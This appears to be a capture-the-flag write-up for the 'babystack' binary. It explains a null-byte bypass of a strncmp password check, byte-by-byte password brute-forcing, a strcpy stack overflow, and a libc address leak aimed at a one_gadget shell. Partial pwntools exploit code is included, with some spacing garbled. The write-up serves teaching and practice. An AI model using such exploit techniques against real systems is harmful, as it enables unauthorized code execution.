↪ file babystack babystack: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
checksec
1 2 3
↪ checksec --file=babystack RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Partial 1 4 babystack
In this problem, we have 3 options, choose 1 to input the password up to 128 bytes, 2 to break the first while loop. If you input the right passwords, they will turn unk_202014 to true and allow you to copy 63 bytes to v6[64] with option 3. The passwords will be stored at buf[2] on stack and qword_202020 on bss. If you don’t wanna stuck in while loop or end the process instantly after breaking the first while loop, you should make sure that unk_202014 is true and the value in buf and qword_202020 are the same.
Another noticeable point is that they check the password you input using strncmp with the length of your input. That means if you input a null value (\x00), you can bypass :DD, because strlen counts til the first null byte.
0x4. Exploit
I can’t think of anything but return address overwritten and buffer overflow. But, to bypass the while loop, I have to have the password. To do that, just brute-force to get the passwords. Because you can input up to 128 bytes to guess the password, at first you can think about brute-force to get return address, which is __libc_call_main, but it’s impossible, the last 2 bytes of rbp are null.
Observe carefully, you can see v6[64], buf[2], v8[16], rbp, and return address are totally adjecent. And the stack frame of sub_E76 and sub_DEF are at the same address, src[128] and s[128] are at rbp-0x80 too.
Because strcpy will copy the string until the first null byte. You can use sub_DEF to input full “A” til &s + 0x48, copy it to v6[64] to overwrite buf[2], and brute-force to get IO_new_file_setbuf + 9:DD. Do it again to overwrite one_gadget to return address :b and get the shell.
defbacktrack (p, first_string, limit): result = b'' cnt = 0 whileTrue: if (cnt == limit): break for i inrange (1, 256): if i in bad_chars: continue password (p, first_string + result + p8 (i) + b'\x00') data = p.recv (3) # print ("the result is : ", data.re) ifb'Log'in data: result = result + p8(i) break p.sendafter (b'>> ', b'1') cnt += 1
return result
defmain(): # IO_new_file_setbuf+9 p = conn() password1 = backtrack (p, b'', 8) print ("The first password is : ", hex (u64 (password1))) password2 = backtrack (p, password1, 8) print ("The second password is : ", hex (u64 (password2))) password (p, b'A' * 64 + b'A' * 8) password (p, b'\x00') copy (p, b'A') p.sendafter (b'>> ', b'1') leak_libc = backtrack (p, b'A' * 8, 6) + b'\x00' * 2 print ("The address of IO_new_file_setbuf+9 is: ", hex (u64 (leak_libc))) libc.address = u64 (leak_libc) - libc.symbols['_IO_file_setbuf'] - 9 print ("The address of libc is : ", hex (libc.address))